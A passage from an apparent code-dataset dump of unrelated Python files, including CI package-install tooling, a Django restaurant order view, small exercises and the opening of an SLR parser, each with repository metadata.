u[0]],\n \"debian\": [\"http://ftp.debian.org/\"],\n \"launchpad\": [\"http://ppa.launchpad.net/\"],\n \"release\": [release]\n }\n format_keys = {\n k: _value_or_error(v) for k, v in format_keys.items()\n }\n\n return [_format_user_line(l, format_keys) for l in repos]\n\n def add_repositories(self, repos):\n \"\"\"Add a repository to the central packaging system.\"\"\"\n # We will be creating a bash script each time we need to add\n # a new source line to our sources list and executing that inside\n # the proot. This guarantees that we'll always get the right\n # permissions.\n with tempfile.NamedTemporaryFile() as bash_script:\n append_lines = Dpkg.format_repositories(repos,\n self._release,\n self._arch)\n for count, append_line in enumerate(append_lines):\n path = \"/etc/apt/sources.list.d/{0}.list\".format(count)\n append_cmd = \"echo \\\"{0}\\\" > {1}\\n\".format(append_line, path)\n bash_script.write(six.b(append_cmd))\n\n bash_script.flush()\n self._executor.execute_success([\"bash\", bash_script.name],\n requires_full_access=True)\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n if len(package_names):\n _run_task(self._executor,\n \"\"\"Update repositories\"\"\",\n [\"apt-get\", \"update\", \"-y\", \"--force-yes\"])\n _run_task(self._executor,\n \"\"\"Install APT packages\"\"\",\n [\"apt-get\",\n \"install\",\n \"-y\",\n \"--force-yes\"] + package_names,\n detail=_format_package_list(package_names))\n\n\nclass DpkgLocal(PackageSystem):\n \"\"\"Debian packaging system, installing packages to local directory.\"\"\"\n\n def __init__(self, release, arch, executor):\n \"\"\"Initialize this PackageSystem.\"\"\"\n super(DpkgLocal, self).__init__()\n self._release = release\n self._arch = arch\n self._executor = executor\n\n def _initialize_directories(self):\n \"\"\"Ensure that all APT and Dpkg directories are initialized.\"\"\"\n root = self._executor.root_filesystem_directory()\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"cache\",\n \"apt\",\n \"archives\",\n \"partial\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"apt\",\n \"lists\",\n \"partial\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"updates\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"info\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"parts\"))\n directory.safe_touch(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"status\"))\n directory.safe_touch(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"available\"))\n\n for confpath in [\"apt.conf\",\n \"preferences\",\n \"trusted.gpg\",\n \"sources.list\"]:\n directory.safe_makedirs(os.path.join(root,\n \"etc\",\n \"apt\",\n confpath + \".d\"))\n\n config_file_contents = \"\\n\".join([\n \"Apt {\",\n \" Architecture \\\"\" + self._arch + \"\\\";\",\n \" Get {\",\n \" Assume-Yes true;\",\n \" };\",\n \"};\",\n \"debug {\",\n \" nolocking true;\",\n \"};\",\n \"Acquire::Queue-Mode \\\"host\\\";\",\n \"Dir \\\"\" + root + \"\\\";\",\n \"Dir::Cache \\\"\" + root + \"/var/cache/apt\\\";\",\n \"Dir::State \\\"\" + root + \"/var/lib/apt\\\";\",\n \"Dir::State::status \\\"\" + root + \"/var/lib/dpkg/status\\\";\",\n \"Dir::Bin::Solvers \\\"\" + root + \"/usr/lib/apt/solvers\\\";\",\n \"Dir::Bin::Planners \\\"\" + root + \"/usr/lib/apt/planners\\\";\",\n \"Dir::Bin::Solvers \\\"\" + root + \"/usr/lib/apt/solvers\\\";\",\n \"Dir::Bin::Methods \\\"\" + root + \"/usr/lib/apt/methods\\\";\",\n \"Dir::Bin::Dpkg \\\"\" + root + \"/usr/bin/dpkg.w\\\";\",\n \"Dir::Etc \\\"\" + root + \"/etc/apt\\\";\",\n \"Dir::Log \\\"\" + root + \"/var/log/apt\\\";\"\n ])\n apt_config_path = os.path.join(root, \"etc\", \"apt\", \"apt.conf\")\n with open(apt_config_path, \"w\") as config_file:\n config_file.write(config_file_contents)\n\n dpkg_script_contents = \"\\n\".join([\n \"#!/bin/bash\",\n root + \"/usr/bin/dpkg --root='\" + root + \"' \\\\\",\n \"--admindir=\" + root + \"/var/lib/dpkg \\\\\",\n \"--log=\" + root + \"/var/log/dkpkg.log \\\\\",\n \"--force-not-root --force-bad-path $@\"\n ])\n dpkg_bin_path = os.path.join(root, \"usr\", \"bin\", \"dpkg.w\")\n with open(dpkg_bin_path, \"w\") as dpkg_bin:\n dpkg_bin.write(dpkg_script_contents)\n os.chmod(dpkg_bin_path, os.stat(dpkg_bin_path).st_mode | stat.S_IXUSR)\n\n def add_repositories(self, repos):\n \"\"\"Add repository to the central packaging system.\"\"\"\n self._initialize_directories()\n\n root = self._executor.root_filesystem_directory()\n sources_list = os.path.join(root, \"etc\", \"apt\", \"sources.list\")\n\n try:\n with open(sources_list) as sources:\n known_repos = [s for s in sources.read().split(\"\\n\") if len(s)]\n except EnvironmentError as error:\n if error.errno != errno.ENOENT:\n raise error\n\n known_repos = []\n\n all_repos = (set(Dpkg.format_repositories(repos,\n self._release,\n self._arch)) |\n set(known_repos))\n\n with open(sources_list, \"w\") as sources:\n sources.write(\"\\n\".join(sorted(list(all_repos))))\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\n\n This works in a somewhat non-standard way. We will be\n updating the repository list as usual, but will be\n using a combination of apt-get download and\n dpkg manually to install packages into a local\n directory which we control.\n \"\"\"\n self._initialize_directories()\n\n from six.moves.urllib.parse import urlparse # suppress(import-error)\n\n root = self._executor.root_filesystem_directory()\n environment = {\n \"APT_CONFIG\": os.path.join(root, \"etc\", \"apt\", \"apt.conf\")\n }\n _run_task(self._executor,\n \"\"\"Update repositories\"\"\",\n [\"apt-get\", \"update\", \"-y\", \"--force-yes\"],\n env=environment)\n\n # Separate out into packages that need to be downloaded with\n # apt-get and packages that can be downloaded directly\n # using download_file\n deb_packages = [p for p in package_names if urlparse(p).scheme]\n apt_packages = [p for p in package_names if not urlparse(p).scheme]\n\n # Clear out /var/cache/apt/archives\n archives = os.path.join(root, \"var\", \"cache\", \"apt\", \"archives\")\n if os.path.exists(archives):\n shutil.rmtree(archives)\n os.makedirs(archives)\n\n if len(deb_packages):\n with directory.Navigation(archives):\n _report_task(\"\"\"Downloading user-specified packages\"\"\")\n for deb in deb_packages:\n download.download_file(deb)\n\n # Now use apt-get install -d to download the apt_packages and their\n # dependencies, but not install them\n if len(apt_packages):\n _run_task(self._executor,\n \"\"\"Downloading APT packages and dependencies\"\"\",\n [\"apt-get\",\n \"-y\",\n \"--force-yes\",\n \"-d\",\n \"install\",\n \"--reinstall\"] + apt_packages,\n env=environment,\n detail=_format_package_list(apt_packages))\n\n # Go back into our archives directory and unpack all our packages\n with directory.Navigation(archives):\n package_files = fnmatch.filter(os.listdir(\".\"), \"*.deb\")\n for pkg in package_files:\n _run_task(self._executor,\n \"\"\"Unpacking \"\"\",\n [\"dpkg\", \"-x\", pkg, root],\n detail=os.path.splitext(os.path.basename(pkg))[0])\n\n\nclass Yum(PackageSystem):\n \"\"\"Red Hat Packaging System.\"\"\"\n\n def __init__(self,\n release,\n arch,\n executor):\n \"\"\"Initialize Yum with release and executor.\"\"\"\n del arch\n del release\n\n super(Yum, self).__init__()\n self._executor = executor\n\n def add_repositories(self, repos):\n \"\"\"Add a repository to the central packaging system.\"\"\"\n with tempdir.TempDir() as download_dir:\n with directory.Navigation(download_dir):\n for repo in repos:\n repo_file = download.download_file(repo)\n # Create a bash script to copy the downloaded repo file\n # over to /etc/yum/repos.d\n with tempfile.NamedTemporaryFile() as bash_script:\n copy_cmd = (\"cp \\\"{0}\\\"\"\n \"/etc/yum/repos.d\").format(repo_file)\n bash_script.write(six.b(copy_cmd))\n bash_script.flush()\n self._executor.execute_success([\"bash\",\n bash_script.name])\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n if len(package_names):\n _run_task(self._executor,\n \"\"\"Install packages\"\"\",\n [\"yum\", \"install\", \"-y\"] + package_names,\n detail=_format_package_list(package_names))\n\n\ndef extract_tarfile(name):\n \"\"\"Extract a tarfile.\n\n We attempt to do this in python, but work around bugs in the tarfile\n implementation on various operating systems.\n \"\"\"\n # LZMA extraction in broken on Travis-CI with OSX. Shell out to\n # tar instead.\n if platform.system() == \"Darwin\" and os.path.splitext(name)[1] == \".xz\":\n proc = subprocess.Popen([\"tar\", \"-xJvf\", name],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n (stdout, stderr) = proc.communicate()\n ret = proc.wait()\n\n if ret != 0:\n raise RuntimeError(\"\"\"Extraction of {archive} failed \"\"\"\n \"\"\"with {ret}\\n{stdout}\\n{stderr}\"\"\"\n \"\"\"\"\"\".format(archive=name,\n ret=ret,\n stdout=stdout.decode(),\n stderr=stderr.decode()))\n return\n\n with tarfile.open(name=name) as tarfileobj:\n tarfileobj.extractall()\n\n\nclass Brew(PackageSystem):\n \"\"\"Homebrew packaging system for OS X.\"\"\"\n\n def __init__(self, executor):\n \"\"\"Initialize homebrew for executor.\"\"\"\n super(Brew, self).__init__()\n self._executor = executor\n\n def add_repositories(self, repos):\n \"\"\"Add repositories as specified at repos.\n\n Adds repositories using brew tap.\n \"\"\"\n for repo in repos:\n _run_task(self._executor,\n \"\"\"Adding repository {0}\"\"\".format(repo),\n [\"brew\", \"tap\", repo])\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n from six.moves import shlex_quote # suppress(import-error)\n from six.moves.urllib.parse import urlparse # suppress(import-error)\n\n # Drop directories which cause problems for brew taps\n hb_docs = os.path.join(self._executor.root_filesystem_directory(),\n \"share\",\n \"doc\",\n \"homebrew\")\n if os.path.exists(hb_docs):\n shutil.rmtree(hb_docs)\n\n # Separate out into packages that need to be downloaded with\n # brew and those that can be downloaded directly\n tar_packages = [p for p in package_names if urlparse(p).scheme]\n brew_packages = [p for p in package_names if not urlparse(p).scheme]\n\n if len(brew_packages):\n _run_task(self._executor,\n \"\"\"Updating repositories\"\"\",\n [\"brew\", \"update\"])\n\n _run_task(self._executor,\n \"\"\"Install packages\"\"\",\n [\"brew\", \"install\"] + brew_packages,\n detail=_format_package_list(brew_packages))\n\n for tar_pkg in tar_packages:\n _report_task(\"\"\"Install {}\"\"\".format(tar_pkg))\n with tempdir.TempDir() as download_dir:\n with directory.Navigation(download_dir):\n download.download_file(tar_pkg)\n extract_tarfile(os.path.basename(tar_pkg))\n # The shell provides an easy way to do this, so just\n # use subprocess to call out to it.\n extracted_dir = [d for d in os.listdir(download_dir)\n if d != os.path.basename(tar_pkg)][0]\n subprocess.check_call(\"cp -r {src}/* {dst}\".format(\n src=shlex_quote(extracted_dir),\n dst=self._executor.root_filesystem_directory()\n ), shell=True)\n\n\nclass Choco(PackageSystem):\n \"\"\"Chocolatey packaging system for Windows.\"\"\"\n\n def __init__(self, executor):\n \"\"\"Initialize choco for executor.\"\"\"\n super(Choco, self).__init__()\n self._executor = executor\n\n def add_repositories(self, repos):\n \"\"\"Add repositories as specified at repos.\n\n This function doesn't do anything on Choco at the moment.\n \"\"\"\n pass\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n _run_task(self._executor,\n \"\"\"Install packages\"\"\",\n [\"choco\", \"install\", \"-fy\", \"-m\"] + package_names,\n detail=_format_package_list(package_names))\n","repo_name":"polysquare/polysquare-travis-container","sub_path":"psqtraviscontainer/package_system.py","file_name":"package_system.py","file_ext":"py","file_size_in_byte":19639,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"73723566313","text":"# Task 3\n\n# Extracting numbers.\n\n# Make a list that contains all integers from 1 to 100, then find all integers from the list that are divisible by 7 but not a multiple of 5, \n# and store them in a separate list. Finally, print the list.\n\n# Constraint: use only while loop for iteration\n\n\nlist_of_integers = list(range(1, 101))\n\ni = 0\nlist_len = len(list_of_integers)\nseparation_list = list()\n\nwhile i < list_len:\n\n if list_of_integers[i] % 7 == 0 and list_of_integers[i] % 5 != 0:\n separation_list.append(list_of_integers[i])\n\n i += 1\n\nprint(separation_list)","repo_name":"bodacom/beetroot","sub_path":"homeworks/lesson_6/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33147236389","text":"import numpy as np\n\ndef get_distances_between_coords(coordinates: np.ndarray) -> np.ndarray:\n \"\"\"\n Given a list of coordinates, calculate the distance between the nth and n+1st coordinates and store it in the nth ndarray of the distance.\n \n Args:\n coordinates (np.ndarray): A numpy array of shape (n, m) where n is the number of coordinates and m is the number of dimensions\n \n Returns:\n np.ndarray: A numpy array of shape (n-1,) containing the distances between the coordinates\n \"\"\"\n distances = np.empty(coordinates.shape[0] - 1)\n for i in range(coordinates.shape[0] - 1):\n distance = np.linalg.norm(coordinates[i+1] - coordinates[i])\n distances[i] = distance\n return distances\n\n\nif __name__ == '__main__':\n # Test calculate_distances\n coordinates = np.array([[0, 0, 0], [1, 1, 1], [2, 2, 2]])\n distances = get_distances_between_coords(coordinates)\n print(distances)\n # Expected output: [1.73205081 1.73205081]","repo_name":"tomohiron907/gcoordinator","sub_path":"gcoordinator/utils/coords.py","file_name":"coords.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"10761527045","text":"#!/usr/bin/env python\n\nimport math\n\n# conversion factors\nCmToUm = 10000. # length -> from cm to um\nToKe = 0.001 # charge -> from e to ke\nELossSilicon = 78. # 78 e-h pairs/um in Silicon\nTanThetaL = 0.106*3.8 # Lorentz Angle\n##################################################\n\n\n#######################################\ndef NotModuleEdge(x_local, y_local):\n######################################\n \"\"\" x_local, y_local in um \"\"\"\n\n accept = True\n if math.fabs(x_local)>7900. or math.fabs(y_local)>31150.: # or alternativley if math.fabs(x_local)>7750. or math.fabs(y_local)>31150.: #\n accept = False\n\n return accept\n\n\n##############################################################\ndef NotDeltaCandidate(cos_alpha, pitch_x, spread_x, cos_beta, pitch_y, spread_y, thickness):\n#############################################################\n \"\"\" flag delta ray candidates comparing expected and measured width of the cluster USED IT WITH CARE!\"\"\"\n \n is_delta = False\n the_alpha = math.acos(cos_alpha) \n the_beta = math.acos(cos_beta) \n # expected widths of the cluster in units of the pitch\n w_x = thickness*(math.tan(0.5*math.pi-the_alpha)+TanThetaL)/(pitch_x*CmToUm)\n w_y = thickness*(math.tan(0.5*math.pi-the_beta))/(pitch_y*CmToUm) \n\n\n if (w_x-spread_x < -1.8) or (w_x-spread_x > 0.2) or (w_y-spread_y < -2.01):\n is_delta = True\n \n return not is_delta\n\n","repo_name":"mmusich/usercode","sub_path":"AuxCode/SLHCSimPhase2/test/macros/rechit_helpers.py","file_name":"rechit_helpers.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6890060309","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.path import Path\nimport matplotlib.patches as patches\nimport matplotlib.patheffects as PathEffects\n\ndef plot(X,Y):\n # Parameterize curve\n L = np.zeros(len(X))\n L[1:] = np.sqrt((X[1:] - X[:-1])**2 + (Y[1:] - Y[:-1])**2)\n l = L.sum()\n T = np.cumsum(L)\n X_,Y_ = [],[]\n for t in np.linspace(0,l,100):\n i = np.argmax((T-t)>=0)\n a,Xa,Ya = T[i], X[i], Y[i]\n if i > 0:\n b = T[i-1]\n Xb = X[i-1]\n Yb = Y[i-1]\n r = (t-a)/(b-a)\n x,y = (1-r)*Xa + r*Xb, (1-r)*Ya + r*Yb\n else:\n x,y = Xa,Ya\n X_.append(x)\n Y_.append(y)\n\n # Plot\n axes = plt.gca()\n\n # Iterate every 10 points\n for i in range(0,100,10):\n \n # Plot line (6 vertices)\n verts = [(X_[i+j],Y_[i+j]) for j in range(0,6)]\n codes = [Path.MOVETO ] + [Path.LINETO ]*(6-1)\n path = Path(verts, codes)\n\n # Outer \n patch = patches.PathPatch(path, facecolor='none', lw=8.0, transform=axes.transData)\n patch.set_path_effects([PathEffects.Stroke(capstyle='round', foreground='r')])\n axes.add_patch(patch)\n \n # Inner\n patch = patches.PathPatch(path, facecolor='none', lw=6.0, transform=axes.transData)\n patch.set_path_effects([PathEffects.Stroke(capstyle='round', foreground='w')])\n axes.add_patch(patch)\n\n axes.set_xlim(1.05*X.min(), 1.05*X.max())\n axes.set_ylim(1.05*Y.min(), 1.05*Y.max())\n\n\nfig = plt.figure(figsize=(8,6))\naxes = plt.subplot(111)\nX = np.linspace(0,2*np.pi, 100)\nY = np.sin(X)\nplot(X,Y)\nplt.show()\n","repo_name":"rougier/gallery","sub_path":"showcase/showcase-10.py","file_name":"showcase-10.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"72"} +{"seq_id":"22623426366","text":"import json\nfrom django.views.generic import ListView\nfrom eCentrRest.models import Orders, Product, Orders_Product, Drink, Dish_Ingredient, Dish\nfrom django.http import JsonResponse, HttpResponse\nfrom django.template.loader import render_to_string\nfrom django.views.decorators.csrf import csrf_exempt\nfrom datetime import datetime\nfrom eCentrRest.views.tpv.view_actions import aplicate_discount\nfrom eCentrRest.views.views import is_bartender\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.utils.decorators import method_decorator\n\ndef is_today(date_to_check):\n today = datetime.now().date()\n return date_to_check.date() == today\n\n@method_decorator([login_required, user_passes_test(is_bartender)], name='dispatch')\nclass Add_product(ListView):\n model = Product\n template_name = 'eRest/bartender/add_products.html'\n\n def get_context_data(self, **kwargs):\n pedido = self.kwargs['pedido']\n context = super(Add_product, self).get_context_data(**kwargs)\n context['products'] = calcProducts(8)\n context['pedido'] = Orders.objects.get(pk=pedido).name\n context['discount'] = Orders.objects.get(pk=pedido).discount\n context['pk'] = Orders.objects.get(pk=pedido).pk\n order_product = Orders_Product.objects.filter(order_id_id=pedido)\n context['products_list'] = order_product\n context['products_list_free'] = Orders_Product.objects.filter(order_id_id=pedido, quantity_free__isnull=False)\n\n return context\n\n @login_required\n @user_passes_test(is_bartender)\n def product_list(request, state):\n products = calcProducts(state)\n\n return HttpResponse(render_to_string('eRest/bartender/filter_products.html', {\n 'products': products,\n }))\n\n @login_required\n @user_passes_test(is_bartender)\n def add_item(request, extra):\n products = Product.objects.filter(pk=extra)\n\n return HttpResponse(render_to_string('eRest/bartender/add_list_products.html', {\n 'products': products,\n }))\n\n\n# Guardar lista de productos pedido\n@login_required\n@user_passes_test(is_bartender)\n@csrf_exempt\ndef save_order(request):\n productos = json.loads(request.body)['productos']\n order_id = int(json.loads(request.body)['orders_id'])\n\n input_string = Orders.objects.get(pk=order_id).discount\n\n discount = aplicate_discount(input_string)\n\n total_price = 0\n price_discount = 0\n state = 1\n flag = True\n # Crear instancias de Producto asociadas al pedido\n for producto in productos:\n product_id = int(producto['product_id'])\n quantity = int(producto['quantity'])\n\n product = Product.objects.get(pk=product_id)\n\n if quantity > 0:\n try:\n # Buscar si ya existe este producto en la orden\n order_product, created = Orders_Product.objects.get_or_create(\n order_id_id=order_id,\n product_id_id=product_id,\n defaults={'quantity': quantity})\n\n new_quantity = quantity\n # Si el objeto ya existía y no fue creado en la llamada anterior, actualizar la cantidad\n if not created:\n if order_product.quantity < quantity:\n flag = True\n # obtener el pedido a través del order_product\n order_not_finished = order_product.order_id\n # cambiar el estado de finished_dishes a False\n order_not_finished.finished_dishes = False\n # guardar el cambio\n order_not_finished.save()\n\n update_quantity = quantity - order_product.quantity\n calcQuantityProduct(product, update_quantity)\n if order_product.finished:\n new_quantity = (quantity - order_product.quantity)\n order_product.finished = False\n order_product.preparing = False\n if order_product.preparing:\n new_quantity = new_quantity + (order_product.new_quantity - order_product.quantity)\n order_product.preparing = True\n\n if order_product.quantity > quantity:\n if flag is not True:\n state = order_product.order_id.state\n update_quantity = quantity - order_product.quantity\n calcQuantityProduct(product, update_quantity)\n\n order_product.new_quantity = new_quantity\n order_product.quantity = quantity\n order_product.save()\n\n else:\n calcQuantityProduct(product, quantity)\n order_product.new_quantity = quantity\n order_product.save()\n\n # Calcular el precio total basado en la cantidad y el precio del producto\n total_price += order_product.quantity * product.price\n # Calcular el precio total basado en la cantidad y el precio del producto\n if order_product.quantity_free is not None:\n price_discount -= order_product.quantity_free * product.price\n\n except Exception as e:\n response = {\n 'success': False,\n 'message': f'Error al guardar el pedido: {str(e)}'\n }\n return JsonResponse(response)\n\n if discount['type'] == '€':\n total_price = round(total_price + (price_discount - discount['value']), 2)\n\n if discount['type'] == '%':\n discountArt = round(total_price + price_discount, 2)\n total_price = discountArt - (discountArt * discount['value'])\n\n # Actualizar el precio y estado en la tabla Order\n Orders.objects.filter(pk=order_id).update(price=total_price, state=state)\n\n # Realizar cualquier otra acción o renderizar una respuesta\n response = {\n 'success': True,\n 'message': 'Pedido guardado exitosamente',\n 'redirect_url': '/pedidos/'\n }\n\n return JsonResponse(response)\n\n\ndef calcProducts(state):\n dishs = Dish.objects.all()\n drinks = Drink.objects.all()\n productsDrink = []\n productsDish = []\n for drink in drinks:\n if drink.stock < 1:\n productsDrink.append(drink.pk)\n for dish in dishs:\n productsDish += calcDish(dish)\n\n productsPks = productsDrink + productsDish\n\n if 0 <= state < 8:\n product = Product.objects.exclude(pk__in=productsPks).order_by('state', 'name')\n products = product.filter(state=state)\n else:\n products = Product.objects.exclude(pk__in=productsPks).order_by('state', 'name')\n\n context = products\n return context\n\n\ndef calcDish(dish):\n dish_ingredient = Dish_Ingredient.objects.filter(dish_id=dish.pk)\n productsDish = []\n dishBool = False\n for dish_ing in dish_ingredient:\n total_stock = dish_ing.ingredient_id.stock * dish_ing.ingredient_id.quantity\n total_dish = round(total_stock / dish_ing.quantity)\n\n if total_dish < 1:\n dishBool = True\n\n if dishBool is True:\n productsDish.append(dish.pk)\n\n return productsDish\n\n\ndef calcQuantityProduct(product, quantity):\n if product.product_type == 'Drink':\n quantity_update = (Drink.objects.get(product_id=product.pk).stock - quantity)\n Drink.objects.filter(product_id=product.pk).update(stock=quantity_update)\n\n else:\n dish = Dish.objects.get(product_id=product.pk)\n dish_ingredients = Dish_Ingredient.objects.filter(dish_id_id=dish.pk)\n for dish_ing in dish_ingredients:\n new_stock = (dish_ing.quantity / dish_ing.ingredient_id.quantity)\n new_stock = round((new_stock*quantity), 2)\n\n dish_ing.ingredient_id.stock = round((dish_ing.ingredient_id.stock - new_stock), 2)\n dish_ing.ingredient_id.save()\n","repo_name":"aaron-at97/TFG-Centralitzacio-informatica","sub_path":"eCentrRest/views/tpv/view_orders.py","file_name":"view_orders.py","file_ext":"py","file_size_in_byte":8065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"7223076837","text":"a, b, c = input().split()\na = float(a)\nb = float(b)\nc = float(c)\ntriangulo = False\nif((abs(b - c) < a < b + c) and (abs(a - c) < b < a + c) and (abs(a - b) < c < a + b)):\n triangulo = True\n\nif(triangulo):\n print(f'Perimetro = {a + b + c:.1f}')\nelse:\n print(f'Area = {((a + b) * c) / 2:.1f}')\n","repo_name":"renan-rs/UriOnlineJudge-Beecrowd","sub_path":"Python/1043/1043.py","file_name":"1043.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"185103409","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport runner # noqa\n\nfrom core.testcase import TestCase, main\nfrom core.types import Offer, Model, Opinion\n\n\nclass T(TestCase):\n @classmethod\n def prepare(cls):\n cls.settings.report_subrole = 'goods'\n cls.index.models += [\n Model(\n title='model_without_histogram',\n hyperid=300,\n opinion=Opinion(total_count=10, rating=4.0, precise_rating=4.0),\n ),\n Model(\n title='model_with_histogram',\n hyperid=301,\n opinion=Opinion(rating_histogram=[0, 1, 2, 3, 4], total_count=10, rating=4.0, precise_rating=4.0),\n ),\n ]\n\n cls.index.offers += [\n Offer(title='offer_without_histogram', hyperid=300),\n Offer(title='offer_with_histogram', hyperid=301),\n ]\n\n def test_rating_histogram(self):\n self.assertFragmentIn(\n self.report.request_json('place=prime&text=offer_without_histogram'),\n {\"model\": {\"id\": 300, \"opinions\": 10, \"preciseRating\": 4, \"rating\": 4}},\n )\n self.assertFragmentIn(\n self.report.request_json('place=prime&text=offer_with_histogram'),\n {\n \"model\": {\n \"id\": 301,\n \"opinions\": 10,\n \"preciseRating\": 4,\n \"rating\": 4,\n \"ratingHistogram\": [0, 1, 2, 3, 4],\n }\n },\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_model_rating_histogram.py","file_name":"test_model_rating_histogram.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34151004595","text":"def numCells(grid):\n \n res = 0\n for i in range(len(grid)):\n for k in range (len(grid[0])):\n val = grid[i][k]\n flag = 1\n for ii in range (max(0,i-1),min(len(grid),i+2)):\n for kk in range(max(0,k-1),min(len(grid[0]),k+2)):\n if (ii,kk)!=(i,k) and val<= grid[ii][kk] :\n flag=0\n break \n if flag == 0:\n break\n else:\n res+=1\n return res\n","repo_name":"VGandhi27/HackerRank-Certification-Basics","sub_path":"Dominant_Cells.py","file_name":"Dominant_Cells.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"21530786122","text":"sueldosmañana=[]\nprint(\"Sueldos turno mañana: \")\n\nfor x in range (4):\n valor=float(input(\"Ingresa sueldo: \"))\n sueldosmañana.append(valor)\n\nsueldostarde=[]\nprint(\"Sueldos turno tarde: \")\n\nfor x in range (4):\n valor=float(input(\"Ingresa sueldo: \"))\n sueldostarde.append(valor)\n\nprint(f\"Turno mañana: {sueldosmañana}\")\nprint(f\"Turno tarde: {sueldostarde}\")\n","repo_name":"SantanaLara11/Trabajos-2do-semestre","sub_path":"Evidencia 51_lista_turno.py","file_name":"Evidencia 51_lista_turno.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39440878752","text":"#!/usr/bin/env python3\n\n# Given an integer, b, print the following values for each integer i\n# from 1 to n:\n\n# 1 Decimal\n# 2 Octal\n# 3 Hexadecimal (capitalized)\n# 4 Binary\n\n# The four values must be printed on a single line in\n# the order specified above for each i from 1 to n.\n# Each value should be space-padded to match the width of the binary value of n\n\n\ndef print_formatted(number):\n # your code goes here\n for i in range(1, n+1):\n print(\"%d %s %s %s\" % (\n i,\n oct(i).split('0o')[-1],\n hex(i).split('0x')[-1].capitalize(),\n bin(i).split('0b')[-1]))\n\n\nif __name__ == '__main__':\n n = int(input())\n print_formatted(n)\n","repo_name":"hrishikeshtak/Coding_Practises_Solutions","sub_path":"hackerrank/Python/Strings/String_Formatting.py","file_name":"String_Formatting.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26651400180","text":"from LexicalAnalyzer.model.Token import Token\nfrom LexicalAnalyzer.analyzer.LexicalAnalyzer import LexicalAnalyzer\nfrom math import log10, floor\nimport os\nTABLE = True\nLIVE = False\nALCINO = True\n\nclass SLRParser:\n token = None\n tokens = []\n grammar = {}\n grammar_follow = {}\n terminals = set()\n non_terminals = set()\n tree = []\n gotos = {}\n canonical = []\n table = {}\n tree_pointer = 0\n stack_history = []\n lexicalAnalyzer = None\n verdict = False\n ambiguity = []\n\n def __init__(self, lexicalAnalyzer, grammar_path):\n self.lexicalAnalyzer = lexicalAnalyzer\n self.tokens = []\n self.next_token()\n try:\n self.read_grammar(open(grammar_path, 'r', encoding=\"utf-8\"))\n except Exception as e:\n print(e, self.grammar)\n for n in self.non_terminals:\n self.grammar_follow[n] = sorted(self.follow(n, set()))\n\n def __str__(self):\n string = \"\"\n\n string += \"Tokens:\\n\"\n for token in self.tokens:\n string += str(token) + \"\\n\"\n string += '\\n'\n\n if self.ambiguity:\n string += \"Ambiguity:\\n\"\n for ambiguity in self.ambiguity:\n string += str(ambiguity) + '\\n'\n string += '\\n'\n\n string += \"Grammar:\\n\"\n for rule in self.grammar:\n string += \"%11s\" % rule + \" = \"\n if rule != 'S':\n for i, production in enumerate(self.grammar[rule]):\n if i: string += \" | \"\n string += ' '.join(production)\n else:\n string += self.grammar[rule]\n string += '\\n'\n string += '\\n'\n\n string += \"Follow:\\n\"\n for n in self.non_terminals:\n string += \"follow(%s) = \" % n + str(self.grammar_follow[n]) + '\\n'\n string += '\\n'\n\n # string += \"Canonical:\\n\"\n # for i, state in enumerate(self.canonical):\n # string += \"I_%d = \" % i + str(state) + '\\n'\n # string += '\\n'\n\n if TABLE:\n string += \"SLR Table:\\n\"\n columns = sorted(self.terminals) + [\"EOF\"] + sorted(self.non_terminals)\n biggest_cell = max(len(i) for i in columns)\n for row in self.table:\n for column in self.table[row]:\n cell = self.table[row][column]\n biggest_cell = max(biggest_cell, len(\" \".join(cell)))\n string += \" \"*(3+floor(log10(len(self.table)))) + \"|\" + \"|\".join([c.center(biggest_cell, ' ') for c in columns]) + '\\n'\n for i in range(len(self.table)):\n index = \"I_%d\" % i\n string += str(index).center(2+floor(log10(len(self.table))), ' ') + 